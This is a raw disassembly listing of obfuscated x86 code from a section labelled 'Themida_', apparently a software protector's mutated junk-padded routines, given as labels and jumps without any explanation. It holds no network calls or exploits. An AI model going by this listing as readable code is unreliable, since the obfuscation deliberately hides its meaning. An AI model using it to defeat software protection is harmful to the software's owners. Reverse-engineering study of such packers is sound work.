add ebx, 4 push ebx push dword ptr [esp+4] pop ebx pop dword ptr [esp] mov esp, [esp] add esi, 7403140Bh jmp loc_55ED5B ; --------------------------------------------------------------------------- loc_562C38: ; CODE XREF: Themida_:00566C48j add esi, 4FF5793h jmp loc_560F93 ; --------------------------------------------------------------------------- loc_562C43: ; CODE XREF: Themida_:0055E784j sub eax, 6A6779A8h sub eax, edi push ebp push edx push 0CA64354h pop edx sub edx, 0AB342917h jmp loc_571AAB ; --------------------------------------------------------------------------- loc_562C5D: ; CODE XREF: Themida_:0056D6C9j push 7AEAh mov [esp], esi jmp loc_568BE3 ; --------------------------------------------------------------------------- loc_562C6A: ; CODE XREF: Themida_:0056178Cj not esi jmp loc_5712FD ; --------------------------------------------------------------------------- loc_562C71: ; CODE XREF: Themida_:00562B31j push 7CBCh mov [esp], edx mov edx, esp push eax mov eax, 4 sub edx, 2B0C4E5Ch add edx, eax add edx, 2B0C4E5Ch mov eax, [esp] add esp, 4 sub edx, 4 jmp loc_5671AA ; --------------------------------------------------------------------------- loc_562C9D: ; CODE XREF: Themida_:00567E7Bj add di, 0C807h add ax, 788Ah jmp loc_56B0C3 ; --------------------------------------------------------------------------- loc_562CAB: ; CODE XREF: Themida_:00560A06j sub cl, 9Ch pop ax jmp loc_55F178 ; --------------------------------------------------------------------------- loc_562CB5: ; CODE XREF: Themida_:0056883Fj mov edx, [esp] add esp, 4 xor al, bl mov ebx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_56B438 ; --------------------------------------------------------------------------- loc_562CDA: ; CODE XREF: Themida_:0055F3CCj pop esp jmp loc_5700CA ; --------------------------------------------------------------------------- loc_562CE0: ; CODE XREF: Themida_:00560FF1j push ebx push small 5305h pop bx and bx, 323Bh inc bx or bx, 3CFEh neg bx xchg dx, bx not dx jmp loc_56F6DB ; --------------------------------------------------------------------------- loc_562D01: ; CODE XREF: Themida_:0056A996j add edi, esi jmp loc_5640B7 ; --------------------------------------------------------------------------- loc_562D08: ; CODE XREF: Themida_:0055DE20j xor esi, ecx pop ecx inc esi sub esi, 18844A69h add ebx, esi pop esi jmp loc_5670C0 ; --------------------------------------------------------------------------- loc_562D1A: ; CODE XREF: Themida_:0055F96Dj pop esp inc edx and edx, 479F68F9h sub edx, 408D20F5h push edx pop esi pop edx sub edi, 54F47031h add edi, esi add edi, 54F47031h push dword ptr [esp] pop esi add esp, 4 jmp loc_564B53 ; --------------------------------------------------------------------------- loc_562D45: ; CODE XREF: Themida_:005615FCj pop ebx push edx mov edx, 4819338Fh push eax jmp loc_560213 ; --------------------------------------------------------------------------- loc_562D52: ; CODE XREF: Themida_:00563B2Fj mov ebp, 797245Bh or ebx, ebp mov ebp, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp push ebp mov ebp, 55E201FDh and ebx, ebp pop ebp push edx mov edx, 47CE5C7Ah xor ebx, edx pop edx add ebx, 226C5ECBh xor ebx, 64D8BCEEh mov edx, ebx push dword ptr [esp] jmp loc_564CAC ; --------------------------------------------------------------------------- loc_562D97: ; CODE XREF: Themida_:0056CC49j push ebp jmp loc_568C1C ; --------------------------------------------------------------------------- loc_562D9D: ; CODE XREF: Themida_:0055EABCj dec al sub al, 0F5h push 3C57h jmp loc_567FD3 ; --------------------------------------------------------------------------- loc_562DAB: ; CODE XREF: Themida_:0056DAEFj not cl add cl, 3Eh mov dl, cl pop ecx sub al, dl pop dx add al, bl add al, 62h mov bx, [esp] add esp, 2 mov edx, [esp] jmp loc_572B3D ; --------------------------------------------------------------------------- loc_562DCA: ; CODE XREF: Themida_:00564729j or ebp, 440E2E92h push eax mov eax, 1B161C6Fh xor eax, 4A6F4641h jmp loc_571FA3 ; --------------------------------------------------------------------------- loc_562DE0: ; CODE XREF: Themida_:00572B4Fj mov [esp], esi push 3A7h mov [esp], eax push ecx push 183Ah mov [esp], ebx mov ebx, 6D0D6C65h mov ecx, 875E753Bh sub ecx, ebx pop ebx add ecx, 156123F9h sub ecx, 1C2324E5h push edi mov edi, 53442F1Ah and ecx, edi pop edi xor ecx, 11105509h add ecx, 0FDEBADFEh push 5791h mov [esp], ebp jmp loc_55EA3A ; --------------------------------------------------------------------------- loc_562E2F: ; CODE XREF: Themida_:0056836Fj and ebp, edi mov edi, [esp] add esp, 4 shl ebp, 8 sub ebp, 8A16474Bh sub [edi+24h], ebp mov ebp, [esp] push ebp jmp loc_5679B1 ; --------------------------------------------------------------------------- mov ax, [esp] sub esp, 4 mov [esp], eax mov eax, esp add eax, 4 push 6337h jmp loc_56D28B ; --------------------------------------------------------------------------- loc_562E6A: ; CODE XREF: Themida_:00571FFBj xor eax, 10F522E3h or esi, eax pop eax shl esi, 2 push edx mov edx, 313B7237h sub esi, edx pop edx jmp loc_563C52 ; --------------------------------------------------------------------------- loc_562E83: ; CODE XREF: Themida_:005652D3j pop eax add cl, dl pop edx push eax mov al, 30h or al, 0FBh jmp loc_565753 ; --------------------------------------------------------------------------- loc_562E91: ; CODE XREF: Themida_:00570CB6j push ebx push 3987ED9Bh pop ebx mov ebp, ebx mov ebx, [esp] add esp, 4 xor ebx, ebp mov ebp, [esp] add esp, 4 push ebx pop edi mov ebx, [esp] add esp, 4 sub eax, 378B469Fh sub eax, edi push edi mov edi, 378B469Fh add eax, edi jmp loc_55E984 ; --------------------------------------------------------------------------- loc_562EC4: ; CODE XREF: Themida_:00571F9Ej add edx, 4 jmp loc_5645FD ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_55E691 ; --------------------------------------------------------------------------- loc_562ED8: ; CODE XREF: Themida_:0056423Dj push ebx mov ebx, 248A4EB2h shr ebx, 2 jmp loc_565AD0 ; --------------------------------------------------------------------------- loc_562EE6: ; CODE XREF: Themida_:00570787j mov ebp, 7FD0D9DCh jmp loc_56D1AE ; --------------------------------------------------------------------------- loc_562EF0: ; CODE XREF: Themida_:0056F378j pop dx add al, bl jmp loc_56E2CE ; --------------------------------------------------------------------------- loc_562EF9: ; CODE XREF: Themida_:005694FEj add edi, 4 add edi, 4 xchg edi, [esp] jmp loc_56E5E5 ; --------------------------------------------------------------------------- loc_562F0A: ; CODE XREF: Themida_:00566DE1j push 4506h mov [esp], ebp sub esp, 4 mov [esp], eax push esp jmp loc_56A4CA ; --------------------------------------------------------------------------- lodsd push edx mov edx, 26D9609Ch dec edx jmp loc_56CA29 ; --------------------------------------------------------------------------- loc_562F2E: ; CODE XREF: Themida_:005705E0j movzx eax, al jmp loc_55E4E3 ; --------------------------------------------------------------------------- loc_562F36: ; CODE XREF: Themida_:0056E744j mov ebx, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp jmp loc_56331E ; --------------------------------------------------------------------------- loc_562F51: ; CODE XREF: Themida_:0055E7CBj add esi, 4 xchg esi, [esp] pop esp sub esi, 9DFC0DAh add eax, esi mov esi, [esp] push esi mov esi, esp add esi, 4 jmp loc_561DBD ; --------------------------------------------------------------------------- loc_562F74: ; CODE XREF: Themida_:0056E819j or eax, edi jmp loc_564427 ; --------------------------------------------------------------------------- loc_562F7B: ; CODE XREF: Themida_:00570F6Bj add ebx, 0D05F2009h sub esi, ebx jmp loc_5613F4 ; --------------------------------------------------------------------------- push dword ptr [esp] jmp loc_571D47 ; --------------------------------------------------------------------------- loc_562F90: ; CODE XREF: Themida_:00568B3Bj push esp jmp loc_568857 ; --------------------------------------------------------------------------- loc_562F96: ; CODE XREF: Themida_:0056EDEDj mov ebp, [esp] add esp, 4 sub edx, 117000D0h jmp loc_56924A ; --------------------------------------------------------------------------- loc_562FAA: ; CODE XREF: Themida_:00567043j xchg dh, ah xchg ah, bh jmp loc_572204 ; --------------------------------------------------------------------------- loc_562FB3: ; CODE XREF: Themida_:0057262Ej push esi mov esi, 6383481h push ebx mov ebx, 435A00BFh not ebx shr ebx, 6 neg ebx inc ebx sub ebx, 8C3E49CCh sub ecx, ebx jmp loc_572A50 ; --------------------------------------------------------------------------- loc_562FD4: ; CODE XREF: Themida_:0056C2F1j mov edi, 1ADA0E20h xor edi, 53917796h push edx mov edx, 5E5C3C89h jmp loc_5675B3 ; --------------------------------------------------------------------------- loc_562FEA: ; CODE XREF: Themida_:005679ACj push dword ptr [esp] pop edx jmp loc_56A3E9 ; --------------------------------------------------------------------------- loc_562FF3: ; CODE XREF: Themida_:0056765Fj pop eax add esp, 4 push 0B6Eh jmp loc_56180C ; --------------------------------------------------------------------------- loc_563004: ; CODE XREF: Themida_:0056CBF9j push dword ptr [esp+4] push dword ptr [esp] pop edi add esp, 4 pop dword ptr [esp] jmp loc_560A48 ; --------------------------------------------------------------------------- loc_56301A: ; CODE XREF: Themida_:005670BBj neg ebp jmp loc_56F239 ; --------------------------------------------------------------------------- loc_563021: ; CODE XREF: Themida_:0056F9ECj sub eax, ebx pop ebx jmp loc_569823 ; --------------------------------------------------------------------------- loc_563029: ; CODE XREF: Themida_:00564C7Aj pop ecx sub esp, 4 mov [esp], esi push 399Dh mov [esp], edi jmp loc_564F74 ; --------------------------------------------------------------------------- loc_563040: ; CODE XREF: Themida_:0056BF96j dec dword ptr [esp] pop ecx push ecx jmp loc_570027 ; --------------------------------------------------------------------------- loc_56304A: ; CODE XREF: Themida_:0056AADDj mov esp, [esp] mov [esp], eax push esp pop eax push ebx jmp loc_567C11 ; --------------------------------------------------------------------------- loc_563058: ; CODE XREF: Themida_:00562915j mov eax, [esp] add esp, 4 not esi shr esi, 3 jmp loc_5676BE ; --------------------------------------------------------------------------- loc_56306B: ; CODE XREF: Themida_:00566178j neg esi jmp loc_56194C ; --------------------------------------------------------------------------- loc_563072: ; CODE XREF: Themida_:0056BE4Cj add ebx, 53FC2A99h sub ebx, ecx sub ebx, 53FC2A99h pop ecx mov edi, [esp] add esp, 4 push esi mov esi, 0E9C36EBh jmp loc_572603 ; --------------------------------------------------------------------------- loc_563095: ; CODE XREF: Themida_:00571BC6j push ebp push edi mov edi, 6D1B548Eh jmp loc_57140F ; --------------------------------------------------------------------------- loc_5630A1: ; CODE XREF: Themida_:0055E911j add ebp, 4 jmp loc_571C30 ; --------------------------------------------------------------------------- loc_5630A9: ; CODE XREF: Themida_:0056B99Fj add esp, 4 push ebx mov ebx, 3B2920A8h not ebx sub ebx, 3E944C8Ah shl ebx, 7 xor ebx, 51756E20h mov esi, ebx pop ebx xor esi, eax mov eax, [esp] add esp, 4 jmp loc_57219B ; --------------------------------------------------------------------------- loc_5630D6: ; CODE XREF: Themida_:00566146j sub edx, 44C1192Fh jmp loc_5710C2 ; --------------------------------------------------------------------------- loc_5630E1: ; CODE XREF: Themida_:00560F66j mov esp, [esp] imul cx, ax push cx pushf jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_5630F0: ; CODE XREF: Themida_:00569FBAj push 5E8B285Ah mov edx, [esp] add esp, 4 xor edi, edx pop edx sub edi, 0CF07BFBh jmp loc_56B79B ; --------------------------------------------------------------------------- loc_56310C: ; CODE XREF: Themida_:0056D415j sub ebx, ebp pop ebp jmp loc_56C54A ; --------------------------------------------------------------------------- loc_563114: ; CODE XREF: Themida_:0055E69Dj pop edx jmp loc_561F61 ; --------------------------------------------------------------------------- loc_56311A: ; CODE XREF: Themida_:0055E421j pop edi sub edx, 4B576C97h add edx, ecx add edx, 4B576C97h push ebx mov ebx, 53926CE2h sub ebx, 0E72B089Ah jmp loc_562B8F ; --------------------------------------------------------------------------- loc_56313A: ; CODE XREF: Themida_:005615C6j pop ecx pop edi add ebx, ecx pop ecx jmp loc_568844 ; --------------------------------------------------------------------------- loc_563144: ; CODE XREF: Themida_:00561305j pop ebp push esi push eax mov eax, 546715Eh xor eax, 4A414ACBh dec eax add eax, 743BB110h mov esi, eax pop eax jmp loc_5645AF ; --------------------------------------------------------------------------- loc_56315F: ; CODE XREF: Themida_:00565A50j add ebp, 4 add ebp, 2 xor ebp, [esp] jmp loc_56A54A ; --------------------------------------------------------------------------- loc_563170: ; CODE XREF: Themida_:00568397j mov edi, 21F20980h or edi, 5DA00028h or edi, 8866851h jmp loc_57126B ; --------------------------------------------------------------------------- loc_563186: ; CODE XREF: Themida_:0055E1EFj add edx, ebx pop ebx sub ebp, edx pop edx jmp loc_566ECC ; --------------------------------------------------------------------------- loc_563191: ; CODE XREF: Themida_:005644A8j mov [esp], esi sub esp, 4 jmp loc_566747 ; --------------------------------------------------------------------------- loc_56319C: ; CODE XREF: Themida_:00562977j push esp pop ebx add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp push esi mov esi, 639644A9h jmp loc_569AB0 ; --------------------------------------------------------------------------- loc_5631B6: ; CODE XREF: Themida_:005617EDj mov ebx, 2330094Ah jmp loc_56F6BC ; --------------------------------------------------------------------------- loc_5631C0: ; CODE XREF: Themida_:005647F6j pop ecx dec ecx neg ecx add ecx, 73117079h mov edi, ecx pop ecx push ebp mov ebp, 38DC026Dh and edi, ebp pop ebp not edi jmp loc_568762 ; --------------------------------------------------------------------------- loc_5631DD: ; CODE XREF: Themida_:0056BE71j push 207Eh mov [esp], ebx mov ebx, esp add ebx, 4 jmp loc_560AE2 ; --------------------------------------------------------------------------- loc_5631F2: ; CODE XREF: Themida_:00563502j xor ecx, 0B0C2C2BAh add ebp, 6BA706A4h jmp loc_565463 ; --------------------------------------------------------------------------- loc_563203: ; CODE XREF: Themida_:005688F6j xchg esi, [esp] mov esp, [esp] xor edi, 0CDC2B2D9h push esi jmp loc_564D03 ; --------------------------------------------------------------------------- loc_563215: ; CODE XREF: Themida_:005660B1j push edi mov edi, esp jmp loc_55E9DB ; --------------------------------------------------------------------------- loc_56321D: ; CODE XREF: Themida_:0056A73Ej sub edi, 16F46091h neg edi xor edi, 20CD0C5Dh and edi, 368028D1h not edi push edx mov edx, 20B6B9BBh add edi, edx pop edx add edx, edi mov edi, [esp] add esp, 4 loc_563244: ; CODE XREF: Themida_:00561045j ; Themida_:00567D89j push dword ptr [edi+24h] mov ecx, [esp] push ecx mov ecx, esp add ecx, 4 sub esp, 4 jmp loc_560D0F ; --------------------------------------------------------------------------- mov eax, [esp] sub esp, 4 mov [esp], ebx push esp pop ebx push edi mov edi, 2CEC38CDh add edi, 0FFFFFFFFh shr edi, 6 sub esp, 4 mov [esp], ebp mov ebp, 47D83EF5h add ebp, 3B4A12BFh push ecx push edx mov edx, 72F77827h mov ecx, edx pop edx sub ebp, ecx pop ecx jmp loc_5708CA ; --------------------------------------------------------------------------- loc_5632A1: ; CODE XREF: Themida_:0056E358j push 7A9D259Eh pop eax jmp loc_56454C ; --------------------------------------------------------------------------- loc_5632AC: ; CODE XREF: Themida_:005643EDj push eax mov eax, 53056484h or eax, 288978B9h or eax, 55CA3AFDh and eax, 6A590B7Dh sub eax, 6A490A79h jmp loc_55F503 ; --------------------------------------------------------------------------- loc_5632CB: ; CODE XREF: Themida_:0056BEFBj mov edi, 293A5FFEh dec edi sub edi, 1 xor edi, 51A4483Ah jmp loc_55D9CF ; --------------------------------------------------------------------------- loc_5632E2: ; CODE XREF: Themida_:00565E6Dj xor cl, 1Dh add cl, 0E0h add al, cl mov ecx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_56C24E ; --------------------------------------------------------------------------- loc_563305: ; CODE XREF: Themida_:0055EAA0j xor ebp, eax xor eax, ebp push eax mov eax, esp add eax, 4 sub eax, 4 xchg eax, [esp] jmp loc_568DB3 ; --------------------------------------------------------------------------- loc_56331E: ; CODE XREF: Themida_:00562F4Cj mov edx, eax jmp loc_562279 ; --------------------------------------------------------------------------- loc_563325: ; CODE XREF: Themida_:0056C976j xor edi, 557241D4h add eax, edi jmp loc_565622 ; --------------------------------------------------------------------------- loc_563332: ; CODE XREF: Themida_:00561916j sub edx, 25163A13h pop ebp xchg edx, [esp] pop esp mov [esp], ecx mov ecx, 2 add eax, 644549E1h jmp loc_560C37 ; --------------------------------------------------------------------------- loc_56334F: ; CODE XREF: Themida_:0056D7E3j neg ecx sub ecx, 63589F7Ch jmp loc_560D7D ; --------------------------------------------------------------------------- loc_56335C: ; CODE XREF: Themida_:00566345j push eax mov eax, 30793B85h add eax, 0FFFFFFFFh not eax and eax, 224C0180h sub eax, 63B1485Ah shl eax, 5 add eax, 35A90B44h sub ecx, eax pop eax xor ecx, [esp] jmp loc_56A0FC ; --------------------------------------------------------------------------- loc_563386: ; CODE XREF: Themida_:00567AF3j add dword ptr [esp+4], 77162041h pop ebp pop ebp add ebp, 4 sub esp, 4 mov [esp], ebx jmp loc_565630 ; --------------------------------------------------------------------------- loc_5633A1: ; CODE XREF: Themida_:00565A57j push edx mov dl, 0C7h and dl, 39h push ebx mov bl, 9Dh shl bl, 3 push eax mov al, 30h xor bl, al jmp loc_56EBA9 ; --------------------------------------------------------------------------- loc_5633B7: ; CODE XREF: Themida_:0056561Dj xor [esp], cx sub esp, 4 mov [esp], edx push esp pop edx jmp loc_56D1E1 ; --------------------------------------------------------------------------- loc_5633C8: ; CODE XREF: Themida_:0055DFD3j sub ebp, 273B3065h shl ebp, 6 jmp loc_56E37B ; --------------------------------------------------------------------------- loc_5633D6: ; CODE XREF: Themida_:0056A239j sub ebx, esi pop esi add edx, ebx pop ebx push 57FFh mov [esp], ebx mov ebx, 2 jmp loc_56031F ; --------------------------------------------------------------------------- loc_5633EE: ; CODE XREF: Themida_:0055F173j mov ecx, 1 push 20DDh jmp loc_56A4AF ; --------------------------------------------------------------------------- loc_5633FD: ; CODE XREF: Themida_:00568F00j mov ebp, [esp] add esp, 4 push eax mov eax, 4 add ebp, eax mov eax, [esp] jmp loc_55DE62 ; --------------------------------------------------------------------------- loc_563416: ; CODE XREF: Themida_:0056FE67j mov eax, [esp] push ecx push esp pop ecx jmp loc_56D482 ; --------------------------------------------------------------------------- loc_563421: ; CODE XREF: Themida_:0057287Aj not ebx add ebx, 42CC13D9h xor ebx, 6B1C4300h xor ebx, 17E1B3C4h push 624Ch mov [esp], ebx jmp loc_56CCD7 ; --------------------------------------------------------------------------- loc_563442: ; CODE XREF: Themida_:005674A3j dec ch push small 0 sub [esp], ch jmp loc_560317 ; --------------------------------------------------------------------------- loc_563450: ; CODE XREF: Themida_:0056B72Bj push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] pop esp sub esp, 4 mov [esp], ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_570BE5 ; --------------------------------------------------------------------------- loc_56347E: ; CODE XREF: Themida_:0055E2C1j add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_564153 ; --------------------------------------------------------------------------- loc_563490: ; CODE XREF: Themida_:0055E9B2j add esi, ebx jmp loc_569B2F ; --------------------------------------------------------------------------- loc_563497: ; CODE XREF: Themida_:00568E67j mov [esp], ecx mov ecx, 97705DCh push edx jmp loc_56A14D ; --------------------------------------------------------------------------- loc_5634A5: ; CODE XREF: Themida_:00567D2Bj add ecx, eax pop eax xor edx, ecx mov ecx, [esp] add esp, 4 push ebx mov ebx, 52D0418Eh sub ebx, 33B444D3h sub ebx, 9E8188Eh neg ebx jmp loc_55F671 ; --------------------------------------------------------------------------- loc_5634C9: ; CODE XREF: Themida_:0055DE36j push edi push edx jmp loc_568ECA ; --------------------------------------------------------------------------- loc_5634D0: ; CODE XREF: Themida_:00570257j pop edx add edx, 4 jmp loc_56BFB8 ; --------------------------------------------------------------------------- loc_5634DC: ; CODE XREF: Themida_:00568291j push edx jmp loc_566F07 ; --------------------------------------------------------------------------- loc_5634E2: ; CODE XREF: Themida_:0055DA22j add esp, 4 jmp loc_566262 ; --------------------------------------------------------------------------- loc_5634EA: ; CODE XREF: Themida_:0056269Dj add al, ch jmp loc_55EFC1 ; --------------------------------------------------------------------------- loc_5634F1: ; CODE XREF: Themida_:00568C8Cj mov ch, 34h xor bl, ch pop ecx jmp loc_56D94E ; --------------------------------------------------------------------------- loc_5634FB: ; CODE XREF: Themida_:0056B18Fj inc ecx sub ecx, 554340A3h jmp loc_5631F2 ; --------------------------------------------------------------------------- loc_563507: ; CODE XREF: Themida_:00564315j push esp pop dword ptr [esp] add dword ptr [esp], 4 push dword ptr [esp] pop edi add esp, 4 jmp loc_56AEC8 ; --------------------------------------------------------------------------- loc_56351E: ; CODE XREF: Themida_:005611C4j mov esi, esp add esi, 4 jmp loc_56D184 ; --------------------------------------------------------------------------- loc_56352B: ; CODE XREF: Themida_:0055DD25j mov ebx, [esp] jmp loc_561C08 ; --------------------------------------------------------------------------- loc_563533: ; CODE XREF: Themida_:00563C4Dj add ch, 1 jmp loc_568D0C ; --------------------------------------------------------------------------- loc_56353B: ; CODE XREF: Themida_:00571036j xor ebx, 484E15F6h xor ebx, 4855AE6h xor ebx, 29C01355h add ebx, 8121ACA4h mov ebp, ebx jmp loc_5710DC ; --------------------------------------------------------------------------- loc_56355A: ; CODE XREF: Themida_:0055FC24j jmp loc_55D2ED ; --------------------------------------------------------------------------- loc_56355F: ; CODE XREF: Themida_:00568403j sub ecx, 4D731727h jmp loc_56B1F4 ; --------------------------------------------------------------------------- loc_56356A: ; CODE XREF: Themida_:0056A455j push eax jmp loc_5625A1 ; --------------------------------------------------------------------------- loc_563570: ; CODE XREF: Themida_:0056150Bj pop ebx push edi jmp loc_56EF9F ; --------------------------------------------------------------------------- loc_563577: ; CODE XREF: Themida_:0056FE46j push edi mov edi, esp push ebp mov ebp, 66FF4261h xor ebp, 66FF4265h jmp loc_56A0AE ; --------------------------------------------------------------------------- loc_56358B: ; CODE XREF: Themida_:00571475j pop edx xor al, 0A3h mov ch, al push dword ptr [esp] jmp loc_56D2A6 ; --------------------------------------------------------------------------- loc_563598: ; CODE XREF: Themida_:00560D0Aj push eax push 43606800h pop eax push esi jmp loc_5684F6 ; --------------------------------------------------------------------------- loc_5635A5: ; CODE XREF: Themida_:00564986j add edx, 0C0314FF5h jmp loc_55D97C ; --------------------------------------------------------------------------- loc_5635B0: ; CODE XREF: Themida_:00567CD5j mov edx, esp push esi jmp loc_56BA7B ; --------------------------------------------------------------------------- loc_5635B8: ; CODE XREF: Themida_:0056F9D4j sub [esp], ebx pop ebx add ebx, 1550248Eh add edx, ebx pop ebx add edx, 4 push edx push dword ptr [esp+4] mov edx, [esp] push edi mov edi, esp jmp loc_5651C5 ; --------------------------------------------------------------------------- loc_5635DB: ; CODE XREF: Themida_:00564674j xor edi, ebp mov ebp, [esp] jmp loc_57186F ; --------------------------------------------------------------------------- lodsb push ecx jmp loc_56E2F8 ; --------------------------------------------------------------------------- loc_5635EC: ; CODE XREF: Themida_:0056463Aj xchg edx, [esp] pop esp add esp, 4 sub esp, 4 jmp loc_569B1F ; --------------------------------------------------------------------------- loc_5635FE: ; CODE XREF: Themida_:0056F5CFj push eax mov eax, 3D8F2830h mov edx, eax pop eax jmp loc_5666A6 ; --------------------------------------------------------------------------- loc_56360C: ; CODE XREF: Themida_:00561599j push dword ptr [esp] jmp loc_56D2AC ; --------------------------------------------------------------------------- loc_563614: ; CODE XREF: Themida_:005720E6j add eax, 68807D99h or eax, 39C12792h inc eax or eax, 5611A9Dh push ebp jmp loc_56AC58 ; --------------------------------------------------------------------------- loc_56362A: ; CODE XREF: Themida_:0056F054j xor ebx, [esp] xor [esp], ebx jmp loc_56D01E ; --------------------------------------------------------------------------- loc_563635: ; CODE XREF: Themida_:005627A6j xor edx, 41323040h add edx, 0DE12B406h add edi, edx pop edx sub edi, 4 sub esp, 4 jmp loc_55D69A ; --------------------------------------------------------------------------- loc_563655: ; CODE XREF: Themida_:0055E3B9j push ecx mov ecx, 4C135FAAh push 13DDh mov [esp], esi jmp loc_55EC34 ; --------------------------------------------------------------------------- loc_563668: ; CODE XREF: Themida_:00567D7Fj sub esp, 4 mov [esp], ebp mov ebp, esp add ebp, 4 add ebp, 4 xor ebp, [esp] xor [esp], ebp jmp loc_568DBC ; --------------------------------------------------------------------------- loc_56368A: ; CODE XREF: Themida_:0055DA4Aj mov ecx, 6C755ED4h jmp loc_56FC0A ; --------------------------------------------------------------------------- loc_563694: ; CODE XREF: Themida_:0055FC0Ej mov ebp, 3E111667h sub ebp, 53905B08h shl ebp, 1 or ebp, 35807509h add ebp, 13A71AEDh add ebp, 0DA3DC53h jmp loc_56F7A1 ; --------------------------------------------------------------------------- loc_5636B8: ; CODE XREF: Themida_:00570568j mov [esp], eax jmp loc_56442D ; --------------------------------------------------------------------------- loc_5636C0: ; CODE XREF: Themida_:00571782j pop ecx add eax, edx sub eax, 19D71201h pop edx jmp loc_5710BD ; --------------------------------------------------------------------------- loc_5636CE: ; CODE XREF: Themida_:00565E53j pop eax mov cx, [esp] add esp, 2 sub bl, 72h sub bl, 6 add bl, al add bl, 6 add bl, 72h push cx jmp loc_55F561 ; --------------------------------------------------------------------------- loc_5636EB: ; CODE XREF: Themida_:0056CD86j pop eax not eax sub eax, 80586369h push 5FA6h mov [esp], eax sub dword ptr [esp], 649C1BE4h pop edx add edx, 649C1BE4h pop eax shr edx, 7 neg edx neg edx jmp loc_569A24 ; --------------------------------------------------------------------------- loc_563716: ; CODE XREF: Themida_:0055F03Aj mov [esp], eax mov eax, 76BC4403h jmp loc_56C7AA ; --------------------------------------------------------------------------- loc_563723: ; CODE XREF: Themida_:0056B0F5j xchg edx, [esp] pop esp mov [esp], eax mov eax, 5AAD39D8h jmp loc_56A9BE ; --------------------------------------------------------------------------- loc_563734: ; CODE XREF: Themida_:00567404j mov edi, 66B13C02h mov esi, edi jmp loc_56E3C2 ; --------------------------------------------------------------------------- loc_563740: ; CODE XREF: Themida_:0056B3ACj pop edx add ebx, 690635EBh jmp loc_5614DD ; --------------------------------------------------------------------------- loc_56374C: ; CODE XREF: Themida_:005690B3j xor edi, [esp] jmp loc_5702CA ; --------------------------------------------------------------------------- loc_563754: ; CODE XREF: Themida_:00566FBBj add eax, 1EB604A0h sub eax, edx sub eax, 1EB604A0h mov edx, [esp] add esp, 4 pop esi sub esp, 4 mov [esp], eax push dword ptr [esp+4] pop eax pop dword ptr [esp] mov esp, [esp] mov cx, [esp] jmp loc_55F50D ; --------------------------------------------------------------------------- loc_563781: ; CODE XREF: Themida_:00560376j add eax, 73140975h push dword ptr [esp] pop edi jmp loc_55F638 ; --------------------------------------------------------------------------- loc_56378F: ; CODE XREF: Themida_:00565A7Dj pop eax mov edx, eax pop eax sub edi, 6D0E7461h add edi, edx add edi, 6D0E7461h mov edx, [esp] push eax push esp jmp loc_56B8BF ; --------------------------------------------------------------------------- loc_5637AB: ; CODE XREF: Themida_:0056685Fj add esp, 4 sub esp, 4 mov [esp], ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] jmp loc_5702FB ; --------------------------------------------------------------------------- loc_5637CA: ; CODE XREF: Themida_:00565A72j add esp, 4 mov eax, [esp] jmp loc_5668B9 ; --------------------------------------------------------------------------- loc_5637D5: ; CODE XREF: Themida_:0056BB07j mov edx, [esp] add esp, 4 add edx, 4 push eax push edx push ebp push ebx mov ebx, 2 mov ebp, ebx pop ebx mov edx, ebp pop ebp mov eax, edx jmp loc_56FEE5 ; --------------------------------------------------------------------------- loc_5637FA: ; CODE XREF: Themida_:0056CDA4j pop edx push eax mov eax, 3F020D4Ah neg eax jmp loc_565C40 ; --------------------------------------------------------------------------- loc_563808: ; CODE XREF: Themida_:005666AEj pop ecx push eax mov eax, esp add eax, 4 push ecx mov ecx, 4 add eax, ecx pop ecx xchg eax, [esp] pop esp xor ecx, 3D8F2830h jmp loc_56B9CD ; --------------------------------------------------------------------------- loc_563829: ; CODE XREF: Themida_:0056D041j and dl, 71h and dl, 0AEh sub dl, 1Bh jmp loc_5655CA ; --------------------------------------------------------------------------- loc_563837: ; CODE XREF: Themida_:00567D4Ej sub edx, ecx pop ecx add edx, 18D9761Eh push ebp mov ebp, edx mov edi, ebp pop ebp mov edx, [esp] add esp, 4 jmp loc_5697C7 ; --------------------------------------------------------------------------- loc_563851: ; CODE XREF: Themida_:0055E9C4j add dword ptr [esp], 4 pop ebx push edi push edx mov edx, 4 mov edi, edx pop edx add ebx, edi pop edi push ebp push esi mov esi, 0AD06AA3h mov ebp, 56A2DB3Ch add ebp, esi mov esi, [esp] jmp loc_566012 ; --------------------------------------------------------------------------- loc_56387C: ; CODE XREF: Themida_:0055F546j pop ebx add edx, 454A3396h push ecx mov ecx, 521A7D14h xor ecx, 0D0101C9h neg ecx add ecx, 5DE24746h add ecx, 524D8369h add edx, ecx pop ecx sub edx, eax sub edx, 51144DD2h push esi mov esi, 454A3396h sub edx, esi pop esi push 2C5Ch mov [esp], eax push 57CCh jmp loc_5624ED ; --------------------------------------------------------------------------- loc_5638C3: ; CODE XREF: Themida_:0055FBD3j sub esi, edx mov edx, [esp] jmp loc_55DCD8 ; --------------------------------------------------------------------------- loc_5638CD: ; CODE XREF: Themida_:00571E21j pop esi add edx, 4 jmp loc_569F1E ; --------------------------------------------------------------------------- loc_5638D9: ; CODE XREF: Themida_:005697B8j pop edx push ecx mov ecx, 11444B99h inc ecx xor ecx, 66A82386h sub ecx, 74B78FECh sub edx, ecx pop ecx jmp loc_56B3AA ; --------------------------------------------------------------------------- loc_5638F5: ; CODE XREF: Themida_:00566393j add esi, 5C76DE0Ch sub eax, esi pop esi push 7F2Dh mov [esp], esi mov esi, 2B3754C0h jmp loc_5694C7 ; --------------------------------------------------------------------------- loc_563910: ; CODE XREF: Themida_:0056E07Bj add ebx, 4 jmp loc_56DD8E ; --------------------------------------------------------------------------- loc_56391B: ; CODE XREF: Themida_:005654C7j pop ecx or ebp, 272568E1h jmp loc_56018F ; --------------------------------------------------------------------------- loc_563927: ; CODE XREF: Themida_:00565F5Cj add esp, 4 pop dword ptr [esp] jmp loc_5603CD ; --------------------------------------------------------------------------- 